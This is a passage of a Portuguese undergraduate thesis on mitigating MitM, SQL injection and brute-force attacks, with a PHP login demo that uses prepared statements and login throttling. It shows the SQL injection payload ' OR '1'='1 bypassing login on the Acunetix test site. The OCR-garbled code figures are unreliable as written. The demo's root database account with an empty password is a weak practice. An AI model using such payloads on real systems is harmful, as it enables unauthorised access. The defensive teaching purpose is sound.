Fonte: Autoria prépria (2024)
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4 ESTRATEGIAS DE MITIGACAO

A mitigacao de ataques cibernéticos envolve a implementacéo de medidas para
reduzir vulnerabilidades e impedir 0 acesso ndo autorizado. Uma abordagem eficaz
inclui o uso de criptografia, autenticagao robusta e validacdo rigorosa de entradas. A
aplicacéo de protocolos seguros, como TLS/SSL, e a monitoragéo continua dos siste-
mas Sao essenciais para prevenir ataques como Man-in-the-Middle (MitM), SQL injec-
tion e ataques de forca bruta, além de fortalecer a defesa contra ameacas em rede
(Stallings, 2008).

4.1 Mitigacdo de ataques Man-in-the-Middle (MitM)

A mitigacdo de ataques Man-in-the-Middle (MitM) € essencial para garantir a
seguranca das comunicagcdes em servidores web. Conforme destacado por Stallings
(2008) em seu livro "Criptografia e Seguranga de Redes: Principios e praticas”, uma
das principais estratégias para proteger os dados em transito é a criptografia robusta,
gue impede a interceptacdo e leitura dos dados por terceiros mal-intencionados. A
utilizacdo do HTTPS, que emprega protocolos TLS/SSL, é crucial para garantir que os
dados transmitidos entre cliente e servidor estejam criptografados, tornando muito di-
ficil para atacantes interceptarem e acessarem informacodes sensiveis.

Além da criptografia, a implementacédo de certificados digitais emitidos por au-
toridades certificadoras confiaveis é fundamental. Stallings (2008) explica que esses
certificados asseguram a autenticidade dos servidores, evitando ataques que envol-
vem a falsificacdo de identidade. Sem um certificado valido, um atacante pode facil-
mente se passar por um servidor legitimo, capturando dados confidenciais durante o
processo.

Outra medida vital na mitigacdo de ataques MitM é a adoc¢éo de autenticacao
forte. Segundo Kurose; Ross (2010) em "Redes de Computadores e a Internet: uma
abordagem top-down", a autenticacdo multifator (MFA) adiciona uma camada extra de
seguranca além da senha tradicional. Essa abordagem exige que o usuario forneca
um segundo fator de autentica¢cdo, como um codigo enviado para o celular ou gerado
por uma aplicacao de autenticacao. Isso dificulta significativamente o acesso nao au-

torizado, mesmo que a senha seja comprometida.
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O uso do HTTP Strict Transport Security (HSTS) é outra recomendacéo impor-
tante para prevenir ataques MitM. HSTS instrui os navegadores a usar exclusivamente
conexdes HTTPS com o servidor, evitando ataques de downgrade onde um atacante
forca a conexdo para HTTP néo seguro. Stallings (2008) enfatiza que essa pratica
garante que todas as comunicagdes sejam protegidas por criptografia robusta.

Ademais, deve-se monitorar e detectar atividades suspeitas. Ferramentas de
monitoramento de rede, como sistemas de deteccao de intrusbes (IDS), sdo essenci-
ais para identificar padres anémalos de trafego que possam indicar a presenca de
um MitM. Conforme discutido por Stallings (2008), essas ferramentas analisam o tra-
fego em tempo real, alertando os administradores sobre atividades potencialmente
maliciosas.

Por fim, a andlise e verificacao da integridade dos certificados digitais recebidos
ajudam a detectar certificados falsificados, um método comum utilizado em ataques
MitM. Implementar mecanismos de verificacdo continua dos certificados digitais asse-
gura gue apenas conexdes legitimas e seguras sejam estabelecidas, protegendo as-
sim os usuarios de possiveis interceptacdes (Kurose; Ross, 2010).

Estas medidas, quando combinadas, formam uma defesa robusta contra ata-
gues Man-in-the-Middle, protegendo as comunicac¢des e garantindo a integridade e

confidencialidade dos dados transmitidos.

4.2 Mitigacdo de ataques SQL injection

A mitigacéo de ataques SQL injection é essencial para proteger bancos de da-
dos contra acessos nao autorizados e manipulacdes maliciosas. Diversas estratégias
sdo recomendadas pela para prevenir e mitigar esses atagues, assegurando a inte-
gridade e a seguranca dos dados armazenados.

A primeira linha de defesa envolve a validacdo e sanitizacdo rigorosa das en-
tradas fornecidas pelos usuarios. Implementar mecanismos de validagdo de dados é
crucial para garantir que as informacoes recebidas sejam do tipo e formato esperados,
reduzindo a possibilidade de injecdes de codigo malicioso. Isso significa que os dados
fornecidos pelos usuarios devem ser verificados para assegurar que correspondem
aos tipos e formatos esperados, como numeros inteiros, strings e datas, além da apli-
cacao de expressdes regulares para garantir conformidade com padrdes especificos.

Além disso, a sanitizacdo de entradas, utilizando funcdes especificas para limpar os
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dados e remover ou escapar caracteres especiais, € uma pratica indispensavel para
eliminar potenciais vetores de ataque (OWASP, 2023).

Outra medida eficaz € o uso de consultas preparadas, também conhecidas
como prepared statements. Essas consultas substituem as dinamicas por parametri-
zadas, onde os dados de entrada séo tratados como parametros ao invés de serem
inseridos diretamente nas instru¢cdes SQL. Essa técnica evita a execucao de codigo
SQL arbitréario, tornando a aplicacdo mais segura contra tentativas de injecao de SQL
(OWASP, 2023).

O principio do menor privilégio é outra abordagem fundamental na mitigacao
de ataques SQL injection. As contas de banco de dados utilizadas pelas aplicacbes
web devem ser configuradas com os privilégios minimos necessarios para realizar
suas funcdes. Restringir as permissfes ajuda a garantir que, mesmo se uma conta for
comprometida, o atacante ndo possa executar operagdes destrutivas ou acessar da-
dos sensiveis (Augusténe, 2023).

Além dessas medidas preventivas, 0 monitoramento continuo e a realizacéo de
testes de seguranca sao essenciais. Testes de penetracao regulares permitem iden-
tificar e corrigir vulnerabilidades antes que sejam exploradas por atacantes. Esses
testes simulam ataques reais, proporcionando uma visao pratica das possiveis falhas
de seguranca e permitindo a implementacdo de corre¢cdes antecipadas (OWASP,
2023).

Por fim, a utilizacéo de firewalls de aplicacdo web (WAF) adiciona uma camada
extra de protecdo. WAFs sao usados para fazer o monitoramento, a filtragem e o blo-
queio de trafego HTTP que entra e sai de um servico web, sendo capazes de detectar
e bloguear tentativas de injecdo de SQL em tempo real, atuando como uma barreira
entre os atacantes e os servidores web. Ferramentas de monitoramento de rede,
como sistemas de deteccéo de intrusdes (IDS), complementam esta protecéo, aju-
dando a identificar padroes an6malos de trafego e alertando os administradores sobre
atividades suspeitas. (Augusténe, 2023).

A implementacdo combinada dessas estratégias proporciona uma defesa ro-
busta contra ataques SQL injection, assegurando a integridade e a seguranca dos

dados armazenados em bancos de dados das aplicacdes web.
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4.3 Mitigag&o de ataques de forca bruta

A mitigacdo de ataques de forca bruta requer uma abordagem multifacetada
que combina politicas de senhas fortes, limitacao de tentativas de login, autenticacédo
multifator e monitoramento continuo. A implementacao de politicas rigorosas de se-
nhas € um passo inicial crucial. Estas politicas devem exigir que as senhas sejam
fortes e complexas, incluindo uma combinacéo de letras maiusculas e minusculas,
nameros e caracteres especiais. Isso torna mais dificil para atacantes adivinharem ou
quebrarem as senhas através de tentativas repetidas. Além disso, a politica de expi-
racdo periddica de senhas forca os usuarios a trocar suas senhas regularmente, limi-
tando o tempo durante o qual uma senha comprometida pode ser utilizada (Si-
monélyte, 2023).

Para prevenir ataques de forca bruta, € igualmente importante limitar o nimero
de tentativas de login falhas. Implementar mecanismos de bloqueio de contas ap06s
um numero definido de tentativas de login malsucedidas pode ser extremamente efi-
caz. Esse bloqueio pode ser temporario, desencorajando tentativas repetidas e auto-
maticas, ou permanente, necessitando de intervencdo administrativa para desblo-
guear a conta (Paulino, 2020). Além disso, o uso de CAPTCHAs nas paginas de login
pode dificultar a automacao das tentativas de login, tornando a tarefa de ataques au-
tomatizados mais complicada e menos eficiente (Simonélyté, 2023).

A adocao da autenticacdo multifator (MFA) € uma camada adicional de segu-
ranga que pode significativamente reduzir o risco de comprometimento das contas. Ao
exigir mais de um fator de autenticacdo, como um cédigo enviado para um dispositivo
movel ou gerado por um aplicativo de autenticacao, a MFA adiciona uma barreira que
0s atacantes precisam superar, tornando os ataques de forca bruta substancialmente
menos eficazes (Paulino, 2020).

Monitorar tentativas de login e detectar padrdes suspeitos de acesso também
séo praticas recomendadas para mitigar ataques de forca bruta. A implementacgéo de
sistemas de monitoramento de acessos permite a identificacdo de atividades andma-
las e 0 acionamento de alertas para notificar os administradores sobre possiveis ten-
tativas de ataque. Além disso, a utilizacdo de sistemas de detec¢éo e prevencao de
intrusdes (IDS/IPS) pode identificar e bloquear ataques de forga bruta em tempo real,
fornecendo uma linha de defesa ativa contra tentativas de acesso nao autorizadas
(Fernandes, 2022).
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A combinacdo dessas medidas cria uma defesa robusta contra ataques de
forca bruta, garantindo que as credenciais dos usuarios sejam protegidas e que a se-
guranca dos sistemas seja mantida. Implementar essas estratégias de forma coerente
e integrada é essencial para criar um ambiente seguro e resistente contra as ameacas
cibernéticas.
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5 IMPLEMENTACAO DE UM SISTEMA DE LOGIN SEGURO

Esta secdo apresentard um site de login desenvolvido com foco na seguranca,
buscando prevenir ataques comuns como SQL injection, Man-in-the-Middle (MitM) e
forca bruta. O site utiliza boas préticas de seguranca, incluindo validacéo de entradas,
utilizac@o do protocolo HTTPS e autenticagdo segura. A analise sera feita com base
em prints das funcionalidades implementadas, destacando como cada uma contribui

para evitar esses atagues e garantir a integridade e seguranca dos dados.
5.1 Ferramentas utilizadas

Para o desenvolvimento do site de login seguro, foram utilizadas diversas fer-
ramentas. O XAMPP, uma plataforma que combina servidor Apache, MySQL e inter-
pretadores de PHP, foi empregado para criar um ambiente local adequado para o
desenvolvimento e teste de aplicacbes web. Além disso, o phpMyAdmin, uma ferra-
menta grafica para gerenciamento de bancos de dados MySQL, foi utilizado para con-
figurar e gerenciar as tabelas de usuarios, bem como para executar consultas SQL de
forma segura. O site foi desenvolvido utilizando HTML para estruturar o front-end e
PHP no back-end, responsavel por processar os dados inseridos pelos usuarios. No
back-end, o PHP implementou medidas de seguranca essenciais para validar entra-

das e garantir uma comunicacao segura com o banco de dados.
5.2 Conexdo com banco de dados e gestédo de usuarios

Na Figura 42, é possivel observar a interface principal do site de login, desen-
volvida em HTML e PHP. A pagina de login é simples e objetiva, contendo dois cam-

pos principais: um para 0 nome de USuario e outro para a senha.

Figura 42: Pagina de login
Login

Usuario: Senha: Entrar

Fonte: Autoria prépria (2024)
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As figuras abaixo mostram a implementacéo da conexao com o banco de dados
e a gestdo dos usuarios. Na Figura 43, € mostrada a l6gica para estabelecer a cone-
xao com o banco de dados MySQL, utilizando a extensdo mysqli. O codigo realiza a
verificacdo da conexao e, em caso de falha, exibe uma mensagem de erro. Esse tipo
de verificagcdo é importante para garantir que a aplicagdo ndo funcione sem estar co-
nectada ao banco de dados, prevenindo problemas futuros na execucéo de queries.

Ja na Figura 44, é exibida a tabela de usuéarios no phpMyAdmin, mostrando a
estrutura dos dados armazenados, como nome de usuario e senha. As senhas dos
usuarios estdo armazenadas usando hashing, que transforma as senhas em uma
string aleatéria e irreversivel, garantindo que mesmo se o banco de dados for com-
prometido, as senhas reais ndo possam ser facilmente descobertas. Isso ajuda a pro-

teger contra ataques como forca bruta e roubo de credenciais.

Figura 43: Légica para estabelecer conexdo com o banco de dados

<?php
$servername = "logalhosk";
$username = "root";

$password = "";

$dbname = "secure login";
try {
$conn = new PDO("mysql:host=$servernans;dhnang=sdhnang", $username,

tpassword);

tconn->setAttribute(PDO: :ATTR ERRMODE, PDO::ERRMODE EXCEPTION);
} catch (PDOException $e) {

echo "Conexaq falhou: " . $e->getMessage();

Fonte: Autoria prépria (2024)

Figura 44: Estrutura dos dados armazenados

— T — + id username password

&7 Edit 3 Copy @ Delete 1 admin $2y$10%ab0goYkEnfwENoauEMG9e JZB) 1wpWAIEMZojxBNBe. ..

Fonte: Autoria prépria (2024)
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5.3 Prevencao contra atagues Man-in-the-Middle (MitM)

Na Figura 45, o uso do protocolo HTTPS é indicado pelo cadeado ao lado da
URL "https://localhost/index.html", mostrando que os dados transmitidos entre cliente
e servidor estao criptografados, protegendo contra ataques Man-in-the-Middle (MitM).
Conforme destacado por Stallings (2008), o uso de TLS/SSL é essencial para impedir
a interceptacao de dados por terceiros mal-intencionados, garantindo a integridade e
confidencialidade das informac¢des. Embora tenha sido utilizado um certificado SSL
auto assinado no ambiente de desenvolvimento local, essa pratica demonstra a im-
portancia de usar criptografia robusta. Em ambientes de producéo, é crucial utilizar
certificados emitidos por autoridades confiaveis para evitar ataques de falsificacéo de
identidade.

Figura 45: Uso do HTTPS no site de login

35 [E] Pagina de Login X | 4

« = C O & localhost

Fonte: Autoria prépria (2024)

5.4 Prevencao contra ataques SQL injection

Nestes trechos do cédigo de login, sdo aplicadas varias medidas de seguranca
para prevenir ataques de SQL injection.

Na Figura 46, € apresentada a fungcéo “sanitizarEntrada()”, que desempenha
um papel fundamental na mitigacao de atagues como o SQL injection. A funcéo utiliza
“‘htmispecialchars()” para escapar caracteres especiais que poderiam ser utilizados
para injetar comandos maliciosos, alinhando-se com as praticas de seguranca descri-
tas pela OWASP (2023) para sanitizacdo de entradas. Além disso, “trim()” remove
espacos em branco extras, enquanto “stripslashes()” remove barras invertidas que
poderiam ser usadas para burlar validacdes de entrada. Essas praticas garantem que
os dados processados pela aplicacdo sejam limpos e seguros, prevenindo a insercao

de cédigo malicioso.
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Figura 46: Funcao para sanitizacdo de entradas

ff caA0 para sanitizar entradas

function sanitizarEntrada($dados) {
return htmlspecialchars(stripslashes(trim(4dados)));

Fonte: Autoria prépria (2024)

Na Figura 47, o cédigo mostra a aplicacdo da funcdo de sanitizacédo para pro-
cessar os dados inseridos pelo usuario no formulario de login. Tanto o campo "usua-
rio" quanto "senha" sao filtrados usando “FILTER_SANITIZE_STRING” antes de pas-
sarem pela funcao “sanitizarEntrada()”. Isso garante que os dados submetidos sejam
tratados conforme o esperado, atendendo a exigéncia de validac&o rigorosa mencio-
nada no texto de OWASP (2023). Ao remover ou escapar caracteres perigosos, o
cbdigo evita a entrada de dados maliciosos, reforcando a protecdo contra SQL injec-

tion e outros tipos de atagues baseados em manipulacédo de entradas.

Figura 47: Sanitizacdo de entradas

// Merifica s o farmularie fel snviade
if ($ SERVER['REQUEST METHOD'] === 'POST') {
/7 ganikiziasan de enkradas do farmularig

tusuario = sanitizarEntrada(filter input(INPUT POST, 'username',
FILTER SANITIZE STRING));

$senha = sanitizarEntrada(filter input(INPUT POST, 'password’,
FILTER SANITIZE STRING));

Fonte: Autoria prépria (2024)

Na Figura 48, o uso de consultas preparadas com o método “prepare()” e “bin-
dParam()” é uma das formas mais eficazes de prevenir ataques de SQL injection,
como descrito pela OWASP (2023). Essa técnica assegura que os dados fornecidos
pelo usuario, como o0 nome de usuario, sejam tratados como parametros e nao como

parte da consulta SQL em si. Assim, qualquer tentativa de injecdo de codigo malicioso
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€ neutralizada, pois o dado inserido pelo usuério ndo pode modificar a estrutura da

query SQL.

Figura 48: Consultas preparadas

S/ Uzar consulias preparadas para gyilar SOL Injection

$stmt = $conn->prepare("SELECT username, password FROM users WHERE
username = :username");

$stmt->bindParam(':username', $usuario);

$stmt->execute();

tuser = $stmt->fetch(PDO::FETCH ASSOC);

Fonte: Autoria prépria (2024)

Além disso, na Figura 49, o codigo utiliza a funcédo “password_verify()” para
verificar a correspondéncia da senha fornecida pelo usuario com o hash da senha
armazenada, garantindo uma verificacdo segura. O controle de tentativas de login
através de “$_SESSION['attempt]” também refor¢ca a seguranga ao limitar o nimero
de tentativas falhas, mitigando possiveis ataques de forca bruta. Essas praticas com-
binadas criam uma defesa robusta tanto contra SQL injection quanto contra tentativas

de adivinhacéo de senha.

Figura 49: Verificagdo de senha

if ($user) {
/7 Nerifica s8 a sgnha forngcida serrsskpends @ senha arnazenada
(hash)
if (password verify($senha, $user['password'])) {
// Login hem-zusedide

$_SESSION['attempt'] = @; // Reaska lsniallyvas
header("Location: success.pRhp");
exit();

} else {

/7 28enha Ansarkela

$ SESSION['attempt']++;

% SESSION['last attempt time'] = time();

$remaining attempts = $max attempts - % SESSION['attempt'];
header("Location: fail.php7attempts=$remaining attempts");

exit();

Fonte: Autoria prépria (2024)
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5.4.1 Comparacédo entre o site vulneravel e sistema de login seguro

Ao realizar os testes de login, é possivel notar como a implementacao de pra-
ticas de seguranca impacta diretamente a protecao contra injecées de SQL baseadas
em erro. A seguir, sdo apresentados os resultados obtidos ao comparar um site vul-

neravel, como o Acunetix Art, e 0 site seguro desenvolvido.
5.4.1.1 Site vulneravel Acunetix Art
A Figura 50 mostra que o campo de login permite a entrada maliciosa 'OR '1'="1

no campo de usuario. Essa entrada manipula a consulta SQL para sempre retornar

verdadeiro, permitindo ao invasor ignorar o processo de autenticagao.

Figura 50: Entrada do ataque no site vulneravel

M acunetix

Acunetix Web Vulnerability Scanner

home  categories artists = disclaimer your cart guestbook AJAX Demo

search art If you are already registered please enter your login information below:
go

Browse categories Username : |'OR'1'="

Browse artists Password :  |ssessseses

Your cart

Sianup

login

Fonte: Acunetix Art (2024)

Apés o ataque, o invasor obtém acesso a informacdes confidenciais de um usu-
ario registrado, como nome, nimero de cartdo de crédito, e-mail, nimero de telefone
e endereco, como mostrado na Figura 51. Essas falhas decorrem da auséncia de pra-
ticas de segurancga, como sanitizacdo de entradas e uso de consultas preparadas.
Como mencionado por Daityari (2023), a manipulacdo inadequada de entradas per-
mite que o invasor explore a légica da consulta SQL, causando resultados inespera-

dos ou prejudiciais.
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Figura 51: Resultado de login no site vulneravel

Gagan (test)
On this page you can visualize or edit you user information

Name: Gagan

Credit card number: |1234.5678-2300-9000

E-Mail email@email.com
Phone number: 1
Address: 21 street

update

Fonte: Acunetix Art (2024)

5.4.1.2 Sistema de login seguro

Como mostrado na Figura 52, no site de login seguro desenvolvido, a mesma
entrada maliciosa ('OR '1'="1) foi inserida no campo de usuério. Contudo, a aplicacédo
utiliza praticas robustas de seguranc¢a, como sanitizacao de entradas e consultas pre-
paradas com “prepare()” e “bindParam()”. Essas praticas neutralizam a tentativa de
manipular a consulta SQL, tratando a entrada do usuario como simples texto, sem

permitir alteracdes na légica da consulta.

Figura 52: Entrada do ataque no site seguro

- C O & localhost

Login

Usuario: |'OR "1'="1 Senha: | sssesseesd Entrar

Fonte: Autoria prépria (2024)
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A aplicacdo exibe uma mensagem de erro genérica, informando que o login
falhou, o que pode ser visto na Figura 53. Além disso, hd um controle de tentativas,
que permite apenas um numero limitado de login antes de bloquear temporariamente
0 acesso. Essa abordagem garante que nenhuma informacéo adicional seja exposta

ao invasor, mesmo diante de tentativas maliciosas.

Figura 53: Resultado de login no site seguro
— C O &a localhost

Falha ao fazer login. Usuario e/ou senha incorretos. Vocé tem mais 4 tentativas. Voltar para a pagina de login

Fonte: Autoria propria (2024)

Conforme explicado pela OWASP (2023), o uso de consultas preparadas é uma
das praticas mais eficazes para impedir que invasores manipulem consultas SQL e
obtenham informacdes sobre a estrutura do banco de dados, protegendo a aplicacao

contra injecOes de SQL baseadas em erro.

55 Prevencao contra atagues de forca bruta

Nestes trechos do cédigo de login, sdo aplicadas medidas de seguranca para
prevenir ataques de forca bruta, através da limitacdo das tentativas de login.

Na Figura 54, observa-se a implementacdo de um limite de tentativas de login
por meio das variaveis “¢max_attempts” e “$block_time”. Esses parametros estabele-
cem um numero maximo de tentativas falhas (neste caso, 5) e um tempo de bloqueio
(60 segundos) para evitar tentativas repetitivas de login, o que é uma pratica eficaz na
prevencao de ataques de forca bruta. Conforme Paulino (2020) destaca, esse tipo de

mecanismo temporario desestimula tentativas automaticas de adivinhar senhas.

Figura 54: Limite de tentativas de login

/7 Linits ds Lsnlalivas dg login
tmax attempts = 5;
$block time = 60; // 1 [QlNNLR

Fonte: Autoria prépria (2024)
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Na Figura 55, o codigo verifica se a sessédo de tentativas de login ($_SES-
SION['attempt) ja foi inicializada. Caso contrario, ela € definida como zero, garantindo
gue o sistema conte corretamente as tentativas de login a partir da primeira interacéo
do usuéario. Esse mecanismo assegura que o controle de tentativas falhas esteja ativo
desde o inicio da sessao, protegendo a aplicagdo contra ataques baseados em varias

tentativas de login.

Figura 55: Sessao de tentativas de login

if ('isset($ SESSIOM['attempt'])) {
$ SESSION['attempt'] = ©;

¢ SESSION['last attempt time'] = time();

Fonte: Autoria propria (2024)

Na Figura 56, o codigo implementa a logica para verificar se 0 numero de ten-
tativas de login excedeu o limite definido em “$max_attempts”. Se o usuario exceder
esse limite, o sistema calcula quanto tempo ja se passou desde a ultima tentativa
($time_since_last_attempt) e compara com o tempo de bloqueio definido. Se o tempo
de bloqueio ainda nao tiver passado, o usudrio é notificado e direcionado para tentar
novamente apos o periodo de espera. Caso o periodo de bloqueio tenha expirado, o
contador de tentativas € reiniciado ($_SESSION['attempt’] = 0). Essa estratégia de
blogueio temporario, conforme Paulino (2020), é fundamental para mitigar ataques de
forca bruta ao limitar a frequéncia das tentativas de login automaticas, tornando esses

ataques menos eficazes.
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Figura 56: Tentativas de login e tempo de bloqueio

if ($_SESSION['attempt'] >= $max_attempts) {
- % SESSION['last attempt time'];

ttime since last attempt = time()

if ($time since last attempt = $block time) {

// Se o tempo dg Rlaqugiq ailnda NAR RARIQM. SXARSs a Menzagsn e

redireciana
echo "Nggc& sxssdsy o nunsre ds isniativas ds login. Ignis

naxanente em " (int) ($block time - 4$time since last attempt)

segqundas.";
header("refresh:10;url=index.hinl"); // Redireciqna apgs 10

S844nNdas

exit();

} else {
// BgsgXa as Lanlakixas aRqs o Reriade de hlequeia
$ SESSION['attempt'] = ©;

Fonte: Autoria propria (2024)

ApoOs o usuério falhar em suas tentativas de login, o sistema exibe uma mensa-
gem ao usuario, como mostrado na Figura 57. A mensagem informa que o nhome de

usuario ou senha estéo incorretos. O cédigo também comunica ao usuario quantas

tentativas restam, ajudando a manter uma comunicagéo clara.

Figura 57: Validagdo de usuario e senha

&« C O [ localhost/fail.phprattempts=4

Falha ao fazer login. Usudrio e/ou senha incorretos. Vocé tem mais 4 tentativas. Voltar para a pagina de login

Fonte: Autoria propria (2024)

Caso o usuario exceda o numero de tentativas permitidas, conforme definido
anteriormente, o sistema exibe a mensagem da Figura 58, informando que o numero
de tentativas foi excedido e que ele deve aguardar 1 minuto antes de tentar nova-

mente.
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Figura 58: Tentativas de login excedidas

<« C O O localhost

Vocé excedeu o numero de tentativas. Tente novamente em 1 minuto. Voltar para a pagina de login

Fonte: Autoria propria (2024)

A Figura 59, mostra um caso em que apoOs a autenticagdo, indicando que o
usuario inseriu as credenciais corretas e passou pelas verificacdes de seguranca im-

plementadas, a pagina exibe uma mensagem de "Login bem-sucedido!”

Figura 59: Sucesso ao fazer login

&« C O [ localhost

Login bem-sucedido! Sair

Fonte: Autoria prépria (2024)
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6 CONSIDERACOES FINAIS

O presente trabalho teve como objetivo explorar e analisar detalhadamente vul-
nerabilidades em servidores web, com énfase em ataques cibernéticos como Man-in-
the-Middle (MitM), SQL injection e ataques de forca bruta, além de apresentar estra-
tégias de mitigacdo para minimizar tais ameacas. Através de uma abordagem que
combinou pesquisa tedrica e simulacfes praticas, foi possivel ndo apenas identificar
as principais fragilidades em protocolos de comunicacédo, como HTTP e HTTPS, mas
também propor solugdes de seguranca viaveis e aplicaveis em contextos reais.

A elaboragéo deste trabalho envolveu diversas etapas, cada uma com desafios
especificos. Durante a fase de pesquisa e levantamento de informacdes, houve um
aprofundamento no estudo dos protocolos e nas vulnerabilidades associadas, o que
permitiu uma compreensdo mais sélida dos fundamentos da seguranga em servidores
web, essencial para embasar as simulacdes subsequentes. O uso das ferramentas
Ettercap, SQLMap e Hydra mostrou-se fundamental para ilustrar a aplicacdo pratica
dos conceitos estudados, permitindo uma analise mais tangivel dos riscos e dos mé-
todos de ataque.

Na etapa de simulacao, foram realizados ataques controlados a ambientes de
teste, o que possibilitou observar as consequéncias de vulnerabilidades exploradas
de maneira pratica. As simulacdes demonstraram como ferramentas amplamente
acessiveis podem ser usadas por agentes mal-intencionados, destacando a necessi-
dade de reforco constante das praticas de seguranca. A partir dessas experiéncias,
foram formuladas recomendac¢des de mitigacdo que incluem o uso de criptografia, au-
tenticacdo multifatorial, implementacédo de politicas de senha robustas, consultas pa-
rametrizadas e controle de acesso rigoroso.

As dificuldades mais significativas encontradas ao longo do desenvolvimento
concentraram-se nas implementacdes praticas das simulacfes dos ataques ciberne-
ticos e na criagéo de um site para demonstrar uma aplicagdo mais segura. A etapa de
simulagéo exigiu um dominio técnico aprofundado sobre cada ferramenta utilizada,
além de ajustes especificos nos ambientes de teste. Cada ferramenta apresentou
suas particularidades, e configurar o Ettercap, SQLMap e Hydra para capturar trafego
e explorar vulnerabilidades de forma controlada envolveu muitos testes e configura-
¢Oes para garantir que as simulagdes ocorressem sem comprometer a segurancga do

ambiente.
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A criacao do site para demonstrar métodos de defesa também representou um
desafio técnico. O site foi desenvolvido com foco em seguranca e incluiu o uso do
protocolo HTTPS com um certificado auto assinado, sanitiza¢do de entradas, consul-
tas preparadas para evitar SQL injection e um limite de tentativas de login para prote-
ger contra ataques de forga bruta. Cada uma dessas medidas de seguranca exigiu um
planejamento cuidadoso e testes rigorosos para assegurar que funcionassem con-
forme esperado, tornando a implementacdo um processo complexo, mas enriquece-
dor, que complementou 0 embasamento tedrico.

A pesquisa realizada abre caminho para futuros estudos e melhorias no campo
da seguranca cibernética. Entre os topicos que podem ser explorados estdo a adap-
tacao de estratégias de mitigacdo para novos tipos de ataques que surgem constan-
temente no cenario digital, especialmente com o aumento da complexidade dos siste-
mas e da sofisticacdo dos ciberataques. Outras areas de interesse incluem o desen-
volvimento de métodos de deteccdo de intrusdo mais eficientes, capazes de identificar
comportamentos andmalos em tempo real e responder de forma proativa as ameacas.

Além disso, seria interessante a criacdo de uma plataforma educacional que
permita aos usuarios aprenderem e experimentarem praticas de seguranca ciberné-
tica em um ambiente controlado. Essa plataforma poderia ser utilizada para simular
ataques e defesas, aumentando a conscientizagdo e o treinamento em seguranga di-
gital para novos profissionais e usuarios comuns. Por fim, a integracéo de inteligéncia
artificial para identificar padrées de ataques e automatizar respostas em servidores
web também representa uma area promissora para pesquisas futuras, visando au-

mentar a eficiéncia e a precisao das defesas cibernéticas.
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